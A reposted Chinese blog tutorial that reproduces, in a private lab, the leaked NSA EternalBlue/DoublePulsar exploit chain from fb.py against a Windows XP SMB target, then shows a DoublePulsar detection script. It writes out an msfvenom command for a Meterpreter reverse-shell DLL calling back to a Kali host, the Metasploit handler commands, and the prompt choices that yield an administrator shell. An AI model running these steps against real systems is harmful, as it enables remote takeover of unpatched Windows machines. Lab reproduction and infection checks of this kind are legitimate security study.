ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法
2017-07-08 18:20
786 查看
工具下载
1、Python2.6和pywin32安装包(注意都是32位的,不然会导致调用dll payload文件失败):复现python和pywin32安装包 (分流下载:http://pan.baidu.com/s/1jHKw0AU 密码:kuij)2、Shadowbroker放出的NSA***工具https://github.com/misterch0c/shadowbroker3、中招检查工具中招检查工具 (分流下载:http://pan.baidu.com/s/1dETugox 密码:una3)注:检查工具已重写了(各有所需,你可以根据自己需要修改)一、 漏洞复现
1. 前期准备
***系统信息列表如下:IP | 系统信息 | 用途 | 备注 |
---|---|---|---|
192.168.0.102 | Windows 7旗舰版 | ***机器 | 需安装python2.6.6&pywin32 |
192.168.0.104 | Kali linux 2 | 用于生成***payload(反弹shell等)和控制反弹的shell会话 | 生成reverse shell 的dll |
192.168.0.103 | Windows xp p3 | 靶机 | 开启SMB服务,445端口(默认开启,默认防火墙已经过滤该类***,建议关闭系统防火墙后测试) |
然后生成用于反弹shell的dll payload:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=8089 -f dll > reverser_tcp.dll
在靶机上开启SMB服务(默认开启),查看服务是否生效,即看靶机上的445端口是否在监听(netstat -ano):
2. 工具使用
在win 7***机器上cmd中切换到windows目录输入:python fb.py创建***项目日志目录文件夹log_dirs并设置针对***目标192.168.0.103的***日志目录然后输入:user eternalblue一路回车直到需要选择对应的***系统,如下图:
选择1使用常规部署方式(也就是在靶机上建立后门的部署方式,带有模糊测试)然后一路回车到确认***目标信息。接着使用use doublepulsar,然后一直回车直到如下图需要选择***的服务类型:
备注:作者截图错误,图中的192.168.0.105应为192.168.0.103我们***的服务类型是SMB,所以输入0,但是如果下次***的远程登陆,即RDP的时候输入1然后选择***系统的版本:
这里我们输入与靶机对应的系统版本,输入1.然后,需要选择想执行的动作:
这里我们输入2,执行由kali linux 2 msf生成的反弹shell的dll后门(放在C盘根目录):
回到win 7 ***机器上设置好对应的反弹shell 的dll文件(payload)路径。
然后在Kali linux 2上运行msfconsole: # msfconsolemsf > use exploit/multi/handlermsf > set LHOST 168.0.104msf > set LPORT 8089msf > set PAYLOAD windows/meterpreter/reverse_tcpmsf > exploit效果如下图:
上图说明了msf在监听本地端口(看是否有反弹的shell返回,并控制反弹的shell会话)。
在输入完用于反弹shell的路径后,需要输入反弹shell需要注入的进程和命令行进程,由于已经有默认设置,我们直接回车就好了(当然,在真实***中,最好是注入到其他进程中)回车后发现已在***机器上成功执行并反弹了shell到Kali linux2机器上:
看到已成功利用了(即获取到winxp 靶机的cmd 会话权限):
成功控制靶机(能够以管理员权限控制住机器):
二、 中招检查方法
将中招检查工具转到想要检查的机器(需要python环境)上,通过cmd进入到工具所在目录:运行python detect_doublepulsar_by_c4td0g.py 进行检查(默认检查本地(127.0.0.1):
看到上图的DOUBLEPULSAR DETECTED!!!说明已经中招!本次shadowbroker放出的工具影响情况如下:
三、 总结
1、有人说写这个工具的人(NSA的人)编程水平不咋地? 2、有人说这是13年泄露的? 3、有人说不会用!?思考时间: 1、很多东西实用就好,这是有针对性的; 2、源码里已说是12年开发的(或许更早);3、坐等大牛写文章; 4、看了源码还有些目录不存在,说明还有戏看! 5、NSA在12年就写出了这样的工具,现在他们有的工具是什么样的?来自FreeBuf.COM
相关文章推荐
- ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法(勒索病毒原理)
- ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法(勒索病毒原理)
- ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程
- 关于vb6自带打包工具打包后的安装文件在windows操作系统上安装出现问题的解决方法(部分转载)
- linux下内存检查工具valgrind使用方法
- [Windows] windump(抓包工具)使用方法简介
- 在Windows下删除Linux系统的方法(附修复MBR的工具下载)
- Dell Optiplex 330上Windows 7激活方法与工具
- 检查Windows的本地连接状态方法
- 在Windows下删除Linux系统的方法(附修复MBR的工具下载)
- 恢复扩容U盘实际容量 检查正版U盘 U盘量产工具 U盘修复工具使用方法
- Spring 的优秀工具类盘点,第 2 部分: 特殊字符转义和方法入参检测工具类
- J2ME 工具方法整理,部分借鉴自网络
- windows 文件关联图标的设置方法 (附部分代码)
- Windows 8 激活信息备份还原方法与工具
- Windows释放内存的最简单方法是什么
- windows 各种工具 命令方式使用方法
- 内存泄漏检查工具valgrind使用方法
- 利用windows的rar工具创建自解压安装文件的方法
- Windows应用程序依赖性检查工具